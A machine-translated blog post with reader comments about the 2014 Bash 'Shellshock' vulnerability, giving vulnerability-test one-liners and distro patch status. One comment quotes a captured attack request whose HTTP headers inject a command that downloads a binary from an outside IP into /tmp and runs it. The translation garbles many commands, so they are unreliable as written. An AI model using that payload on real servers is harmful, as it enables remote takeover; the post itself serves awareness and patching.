Bash:检测到新的漏洞(并已修复)

它在某些博客上像野火一样运行,在 安全博客 de 红帽 关于由于滥用全局变量而在Bash中发现的漏洞。 根据原始消息:

“…该漏洞是由于以下事实:可以在调用bash shell之前创建具有特制值的环境变量。 这些变量可以包含在调用外壳程序后立即执行的代码。 这些详细的变量的名称无关紧要,仅它们的内容。 结果,此漏洞在很多情况下都暴露出来。,例如:

  • 部队指挥部 它在sshd配置中用于为远程用户提供有限的命令执行功能。 此缺陷可用于避免这种情况并提供任意命令执行。 一些Git和Subversion实现使用这种受限的Shell。 由于用户已经可以访问控制台,因此不影响常规使用OpenSSH.
  • 如果以bash或spawn子级别编写CGI脚本,则使用mod_cgi或mod_cgid的Apache服务器将受到影响。 如果在PHP中使用system / exec shell,则此类子级将由C中的system / popen,Python中的os.system / os.popen隐式使用。 (在CGI模式下运行时),然后在Perl中打开/ system(取决于命令字符串)。
  • 即使播放了子级别,使用mod_php运行的PHP脚本也不会受到影响。
  • DHCP客户端使用从潜在的恶意服务器获取的值来调用shell脚本来配置系统。 这将允许在DHCP客户端计算机上通常以root用户身份执行任意命令。
  • 具有SUID特权的各种守护程序和程序可以在环境变量值受用户设置/影响的情况下执行Shell脚本,这将允许执行任意命令。
  • 挂钩到shell或运行shell脚本的任何其他应用程序,例如使用bash作为解释器。 不导出变量的Shell脚本即使在处理不受信任的内容并将其存储在其中时也不会受到此问题的影响。 shell变量(左)和子级打开。

......“

如何知道我的bash是否受到影响?

鉴于此,有一种非常简单的方法来知道我们是否受到此漏洞的影响。 实际上,我在我的Antergos上进行了测试,显然我没有问题。 我们要做的是打开一个终端并放置:

env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test”

如果以这种方式出现,我们没有问题:

env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test” bash:警告:x:忽略函数定义尝试bash:导入“ x”的函数定义时出错,这是一个测试

如果结果不同,则可能要使用我们首选发行版的更新渠道来查看它们是否已经应用了补丁。 所以你知道😉

更新:这是使用Ubuntu 14:04的同事的输出:

env x ='(){:;}; echo易受攻击的'bash -c“ echo这是一个测试”易受攻击的这是一个测试

如您所见,到目前为止,它是脆弱的。


发表您的评论

您的电子邮件地址将不会被发表。 必填字段标有 *

*

*

  1. 负责数据:MiguelÁngelGatón
  2. 数据用途:控制垃圾邮件,注释管理。
  3. 合法性:您的同意
  4. 数据通讯:除非有法律义务,否则不会将数据传达给第三方。
  5. 数据存储:Occentus Networks(EU)托管的数据库
  6. 权利:您可以随时限制,恢复和删除您的信息。

  1.   格尔森

    我的Kubuntu 14.04来自64,我也得到:

    env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test”
    脆弱
    这是一个测试

    我已经更新,但是它不正确。 该怎么办?

    1.    拉夫

      等待它们更新。 例如,已经更新了eOS。

    2.    约翰

      多么奇怪,我也有Kubuntu 14.04

      $ env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test”
      bash:警告:x:忽略函数定义尝试
      bash:导入“ x”的函数定义时出错
      这是一个测试

      1.    约翰

        我补充说,今天下载的“ bash”包的版本是:
        4.3-7ubuntu1.1

        http://packages.ubuntu.com/trusty/bash

    3.    埃利奥时间3000

      在我的情况下,给出命令,它只是在终端中提供以下内容:

      >

      无论如何,开玩笑是我更新了Debian Wheezy,这就是让我失望的原因。

      1.    友喜

        Wheezy仍然容易受到该漏洞的第二部分的影响,至少在下午(UTC -4:30),问题仍然存在:/

  2.   彼得切科

    我刚刚确认,在今天早上应用更新后,Slackware,Debian或Centos都不会受到影响,因为他们收到了相应的更新。

    是什么让Ubuntu在这时仍然脆弱? 告诉我这是安全的:D.

    1.    约翰

      但是您是否尝试过更新Ubuntu?
      随着今天的更新,他们也已修复它。

      1.    彼得切科

        OK

    2.    ROBET

      安全专家警告“ Bash”漏洞,它可能比Heartbleed错误对Linux软件用户构成更大的威胁,在此漏洞中,黑客可以利用Bash中的错误来完全控制系统。
      网络安全公司Rapid7的工程经理Tod Beardsley警告说,该漏洞的严重性等级为10,表明它具有最大的影响,而漏洞利用的复杂度则为“低”,这意味着“黑客”攻击相对容易。 通过使用此漏洞,攻击者可以潜在地控制操作系统,访问机密信息,进行更改等,” Beardsley说。 他补充说:“拥有占用Bash的系统的任何人都应立即应用补丁。”
      在呈现Bach所在的旧工具(GNU)的漏洞之前,Linux Software摆脱GNU并更改BSD工具会更加方便。

      附言:请勿审查我的言论自由,...不要侮辱任何人,...不要像以前删除过的邮件一样删除我的邮件!

      1.    施乐

        哦,拜托,不要过度使用它。 我如何讨厌那些使用BSD并鄙视GNU,Linux或这些项目中的任何内容的人。

      2.    彼得切科

        我与您同在,您对这个漏洞的严重性绝对正确。

      3.    地塞潘

        这不是审查制度,而是冗余(您在gnome 3.14帖子中发表了相同的评论)

      4.    你的团队

        «…由于漏洞利用的复杂性,被评为“低”,这意味着它相对容易受到黑客攻击»

        不一致之处明显吗?
        如何轻松利用此漏洞,同时又因为使用起来如此复杂而又将风险降低到“低”水平?
        这是一个在开会后几小时内就解决了的错误,并且像heartbleed一样没有关于被利用的报告(当然,彼此了解的时间更少了)。
        它比小报更危险。

      5.    彼得切科

        @Staff对您来说似乎不重要吗? 您现在要告诉我什么?

        获取./.HTTP/1.0
        .User-Agent:.Thanks-Rob
        .Cookie:()。{。:;。}; .wget.-O。/ tmp / besh。http://162.253.66.76/nginx; .chmod.777。/ tmp / besh; ./ tmp / besh;
        .Host:()。{。:;。}; .wget.-O。/ tmp / besh。http://162.253.66.76/nginx; .chmod.777。/ tmp / besh; ./ tmp / besh;
        .Referer:()。{。:;。}; .wget.-O。/ tmp / besh。http://162.253.66.76/nginx; .chmod.777。/ tmp / besh; ./ tmp / besh;
        接受:* / *

        $文件nginx
        nginx:ELF 32位LSB可执行文件,英特尔80386,版本1(SYSV),静态链接,用于GNU / Linux 2.6.18,已剥离

        $md5sum nginx
        5924bcc045bb7039f55c6ce29234e29a nginx

        $sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        你知道这是什么吗? 没什么危险的...

      6.    友喜

        情况非常严重,但是从那开始,您应该停止将bash用于BSD选项,它已经最多,无论如何更新已经存在,我只需触摸update即可。

        现在的PD,我认为它更像是@robet同事,我不认为这里的管理员会专门删除此类评论,因为是的,因为自从我加入这个社区以来,我有这种感觉,我希望它保持这种方式。

        问候。

      7.    拉夫

        您在两个不同的帖子上发表了完全相同的评论。 如果您要推广新闻的“来源”,对不起,这不是地方。

      8.    马里奥

        Bash来自Unix(及其GNU克隆)。 像OSX这样基于BSD的系统也受到了影响,根据Genbeta的说法,它们尚未对其进行修补。 同样,要访问Bash,您需要本地或通过SSH的用户帐户。

      9.    友喜

        @员工:

        1.-由于错误可能影响的服务数量,它被分类为10级(最大危险等级)。 在主要说明中,他们非常清楚地表明了这一事实,认为该错误会影响诸如apache,sshd,具有suid权限的程序(xorg等)之类的服务。

        2.-就其实现而言,它被归类为“低难度”,最好的例子是@elav在帖子中放置的漏洞测试脚本。 如您所见,实现起来非常困难。

        我看不到信息中的多余内容(我只看到了Google翻译),而且如果问题很严重,并且正如您所说的那样,它已经有补丁和解决方案,但不是那样,它不再是风险,和一个真实的。

      10.    你的团队

        @ petercheco / @ Yukiteru

        不要误解我的意思,我认为很明显,我的批评是Robet所联系的新闻,并且侧重于不一致而不是多余。

        同样,我们必须区分风险和危险(我不提后者),我们通常将它们用作同义词,但是在这里,危险将是错误的破坏能力,并有可能发生错误。
        在我的情况下,我是从昨天开始的。 它不是用于邮件列表之类的,而是用于桌面发行版的! 我拿起电话,并通过链接将消息发送给sysadmin,并确认已经修补了所有内容,然后对不起,但是这些消息并不能使我保持清醒。

      11.    ROBET

        在其他论坛上,他们提到了Bash漏洞,即“ Debian和Ubuntu发布的解决方案”,但是今天他们发现漏洞仍然存在,因此解决方案并不完整,他们提到了!

        我看到许多人批评我一个简单的事实,那就是防止人们受到严重漏洞的危害-达到最大危险等级10,并且在托管Bash的过时GNU工具之前提到了Linux软件的可能解决方案-完美的GNU可以被Linux软件中的BSD工具所取代,…我也使用Linux,并且我喜欢Linux!

        我澄清说Bash默认不是安装在BSD中,它是可以在BSD中安装的又一个Linux兼容性软件包...是的! 由于许多用户有时不相信消息或评论,因此放置了消息源,以便他们可以查看新闻。

        1.    拉夫

          robet:正如他们已经一遍又一遍地告诉您的那样,您已经将您的评论与新闻一起发布在了帖子中,您不必在评论的每篇帖子中都发表评论。

          关于bash,还有其他可以使用的shell,以防Bash易受攻击。 😉

      12.    马里奥

        Robet,据我所知,没有将linux内核与BSD用户区结合在一起的软件。 与之最接近的是kBSD + GNU,就像Gentoo和Debian一样。 此外,如果GNU(1983)是在BSD(1977)之后的,则不能称其为“老式”。 他们都共享自己的Unix根目录(但不共享代码),如果在Linus T还是个孩子的时候创建Bash,就不会有“ Linux兼容性”。

  3.   曼努佩雷斯

    抱歉,目前的debian测试“容易受到攻击”,这是我们的一个难题...

    1.    墨尔本

      我使用Debian Testing,即使在这个分支中,我们也收到了bash更新

  4.   地塞潘

    根据genbeta,还有另一个漏洞
    http://seclists.org/oss-sec/2014/q3/685

    咨询的命令是
    env X ='(){(a)=> \'sh -c“回显弱点”; bash -c“ echo Failure 2未修补”

    1.    拉夫
      env X ='(){(a)=> \'sh -c“回显弱点”; bash -c“ echo未修补故障2” sh:X:第1行:语法错误靠近意外元素`='sh:X:第1行:`'sh:导入函数X的函数定义时出错sh:易受攻击:找不到命令失败2而未打补丁
      
      1.    地塞潘

        我也是

      2.    吉卡德

        同样在这里。 但是帖子中的原始错误已在(L)Ubuntu 14.04中修复

      3.    x11泰特11x

        我没有做简单的回声尝试使它执行需要特权的指令,而是抛出了“特权不足”……此错误不会提升特权吗?如果它不能提升特权,那么它就不会像绘制它们那样危险。

      4.    Xurxo

        你是对的!! 他们是两个漏洞...

        对我来说,昨晚他们在Ubuntu仓库中进行了第二次bash更新后,在Linux Mint 17中,当执行该命令时,shell提供了以下输出:

        env X ='(){(a)=> \'sh -c“回显弱点”; bash -c“ echo Fail 2 unpatched”
        >

        Ubuntu存储库中用于更新先前版本的“ bassh”版本为:

        4.3-7ubuntu1.2

        在Debian派生的系统上,您可以使用以下命令检查已安装的版本:

        dpkg -s bash | grep版本

        无论如何,至少对于Debian,Ubuntu和Mint用户,应予以澄清; 您不必太在意使用#!/ bin / sh标头运行脚本的程序,因为在那些发行版中/ bin / sh不会调用“ bash”,而是绑定到外壳“破折号”(破折号是:)

        Debian Alchemist控制台(破折号)是派生的POSIX控制台

        .
        由于它执行脚本的速度比bash快,并且具有较少的依赖性
        库(使其更强大,可防止软件故障或
        硬件),它用作系统上的默认系统控制台
        Debian的。

        因此,至少在Ubuntu中,“ bash”用作用户登录(也用于root用户)的外壳。 但是默认情况下,任何用户都可以为用户和根控制台(终端)使用另一个外壳程序。

        通过执行以下命令很容易检查外壳程序是否执行了脚本(#!/ Bin / sh):

        文件/ bin / sh
        (输出是/ bin / sh:指向“破折号”的符号链接),我们跟随跟踪重复命令

        文件/ bin /破折号
        (输出为/ bin /破折号:ELF 64位LSB共享对象,x86-64,版本1(SYSV),因此这是可执行文件。

        这些是Linux Mint 17发行版上的结果,在其他非基于Ubuntu / Debian的发行版上,它们可能有所不同。

        更改默认外壳并不难! 您甚至可以为用户和root用户使用另一种。 实际上,您只需要安装所选的外壳并使用“ chsh”命令或通过编辑/ etc / passwd文件来更改默认外壳即可(尽管在编辑“ passwd”文件时不知道错误后果的用户最好能很好地告知自己,在进行编辑之前,请复制原件以防万一有必要将其恢复)

        我对“ tcsh”更满意(tcsh是:)

        TENEX C控制台,伯克利csh的改进版本

        Mac OS X几年前使用的是“ Csh”。 考虑到Apple的大部分操作系统是FreeBSD代码,这是有道理的。 现在,从我昨天阅读的内容来看,它们似乎还为用户终端提供了“ bash”功能。

        结论:

        -已分发“最常用发行版”的补丁“ bash”版本
        -“ bash”版本4.3-7ubuntu1.2及更高版本不包含这些错误
        -在OS * Linux中,并非必须使用“ bash”
        -很少* Linux发行版以#bash链接#!/ Bin / sh
        -有其他选择:ash,dash,csh,tcsh等
        -打开终端时更改系统调用的默认外壳并不复杂
        -很少有小型设备(路由器和其他设备)使用“ bash”,因为它很大!

      5.    Xurxo

        现在,另一个更新即将安装,该更新将安装“ bash”的另一个版本4.3-7ubuntu1.3

        对于Linux Mint 17和Ubuntu 14.04.1 LTS

        1.    拉夫

          ArchLinux进入版本bash-4.3.026-1

    2.    ROBET

      @ Xurxo ...来自Berkeley的.csh?,...您了解我上面所说的内容,并且最好使用BSD“ csh” ...而不是托管Bash的旧GNU工具。 该工具是Linux软件的最佳选择。

  5.   九分
  6.   贡萨洛

    那么解决方案是什么?

    1.    拉夫

      等待他们更新您发行版上的软件包😉

  7.   地塞潘
  8.   巴勃罗·伊凡·科雷亚(Pablo Ivan Correa)

    脆弱
    这是一个测试

    尚无针对Ubuntu Studio 14.04的补丁

    1.    小精灵

      在Ubuntu Studio 14.04.1中修复
      wisp @ ubuntustudio:〜$ env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test”
      bash:警告:x:忽略函数定义尝试
      bash:导入“ x”的函数定义时出错
      这是一个测试

  9.   路人

    实际上,这是一个较小的漏洞,如果它影响到您,那是您之前做错了什么...

    因为以超级用户权限运行的bash脚本永远都不会暴露给用户。 而且如果他没有特权地奔跑,就不会有这种侮辱性。 实际上,这是胡说八道。 令人震惊的事情。

    1.    施乐

      我也是这么想。

    2.    你的团队

      确实,要卖出更多的报纸或获得更多的访问,这些错误是好的。
      但是他们总是忘记提及要使用这种脚本来破坏计算机,您必须首先有权访问bash,然后将其作为root用户。

      1.    达约

        人员,如果您将apache与cgi一起使用,只需将http标头作为cookie放置或引用要执行的功能。 它甚至已经被用来传播蠕虫。

    3.    达约

      并且如果有人使用wget mishell.php将外壳放置到服务器上,在那种情况下这不是很严重吗?

    4.    埃利奥时间3000

      同意你。 我以为这是一个严重的错误,就像Heartbleed中的错误一样(甚至是NSA借以助长发病率),但最终却是一个小错误。

      还有其他一些非常严重的错误,例如疯狂使用Flash和Pepper Flash Player中的性能下降,并且已经修复了一个错误 Chrome和Firefox中的webRTC错误.

  10.   活页夹人

    您知道它是否对拥有Linux Mint 16的人有安排吗?

  11.   奥斯卡

    在Debian测试中,它已经修复。

  12.   悠悠

    在我的5个发行版中,它不解决,在我的OS X中不知道。

    我说过,请不要审查我的评论。OSX。我不知道您是否可以在此站点上说OSX。

    1.    坦豪瑟

      @yoyo别太夸张,以至于他们仍在研究补丁的某些细节...尝试一下,然后告诉我XD如何

      env x ='(){:;}; 回声易受攻击的'bash -c“回声比iPhone 6的垃圾更易受攻击”

      如果他们在OS X之前解决了100%,我敢打赌

    2.    埃利奥时间3000

      好吧,即使在Ars Technica中,它们也与OSX中的Bash相关。

    3.    拉夫

      @Yoyo在OS X上针对SPAM的下一个评论.. lla tu保存..😛

  13.   坦豪瑟

    @yoyo在那里修复报价...但其余的你知道😉

    1.    埃利奥时间3000

      就像他们已经成为OSX的光顾一样(因为OSX仍使用Bash:v)。

      无论如何,我不必太与Debian Jessie混为一谈。

  14.   埃尔惠2

    如果系统在Cent OS上容易受到攻击:
    百胜清理所有&&百胜更新bash

    查看bash版本:
    rpm -qa | 重击

    如果版本低于bash-4.1.2-15.el6_5.1,则您的系统可能容易受到攻击!

    问候。

  15.   曼努佩雷斯

    第二个漏洞尚未解决

    env amvariable2 ='(){(a)=> \'sh -c“ echo amVulnerable”; bash -c“ echo Failure 2未修补”

  16.   耶稣·佩拉雷斯

    更新中...

  17.   夹心

    在Gentoo中我遇到了相反的情况,我只在第一次失败时很脆弱,而在第二次失败时我得到了这个:
    [代码] sh:X:第1行:意外元素'='附近的语法错误
    sh:X:第1行:''
    sh:导入“ X”的函数定义时出错
    sh:易受攻击:找不到命令
    错误2未修补
    [/代码]
    我不知道是否已经有一个修复了错误的Bash稳定版本,但是无论哪种方式,下一次我执行一次emerge –sync && emerge –update –deep –with-bdeps =和– newuse @world(这就是我更新整个系统的步骤)。

    1.    友喜

      我的Gentoo版本为4.2_p50,到目前为止,它已经通过了所有测试。 尝试出现–sync,然后出现–av1 app-shells / bash,然后使用bash –version命令检查版本是否为4.2_p50。

  18.   费尔

    你有试过吗?

    加上新软件包,红帽提供了新的测试

    cd / tmp; rm -f / tmp / echo; env'x =(){(a)=> \'bash -c“回显日期”; 猫/ tmp /回声

    如果我们的系统不容易受到攻击并且已正确打补丁,它必须给我们这样的东西
    1日期
    2 cat:/ tmp / echo:文件或目录不存在

  19.   友喜

    尝试这种方式:

    env X ='(){(a)=> \'sh -c“回显弱点”; bash -c“回声失败2已修补”

    我懂了

    脆弱
    错误2已修复。

    1.    友喜

      算了吧,这行格式不正确。

  20.   奥斯卡·梅萨(Oscar Meza)

    太好了,我已经在我的Slackware上进行了更新,谢谢!

  21.   罗斯布鲁克

    嗨,出现一个问题,我有几台服务器使用“ SUSE Linux Enterprise Server 10” 64位。
    当我执行命令时,我很容易受到攻击,比iPhone 6 xD的垃圾更加脆弱。
    如果我没有错误地在SUSE中更新/安装软件包,可以使用“ zypper”命令完成。

    在某些服务器上,它告诉我:

    BIAL:〜#zypper up
    -bash:zypper:找不到命令
    BIAL:〜#

    在其他情况下:

    SMB:〜#zypper up
    正在还原系统源…
    解析SUSE Linux Enterprise Server 10 SP2-20100319-161944的元数据…
    解析RPM数据库...
    概要:
    没事做。

    我做的事?
    我知道有人说脆弱性不如他们所描绘的那么小,但是我拥有它,并且我不想承受风险,无论大小。

    问候。

  22.   桑德斯·古铁雷斯

    晚安,我尝试粘贴您在文章中提供的代码,我得到了
    桑德斯@ pc-sanders:〜$ env x ='(){:;}; echo易受攻击的'bash -c“ echo this is a test”
    这是一个测试
    桑德斯@ PC-Sanders:〜$
    您能否向我解释如何修补发行版,我每天更新一次,在提示的输出中看不到更改。

    非常感谢您!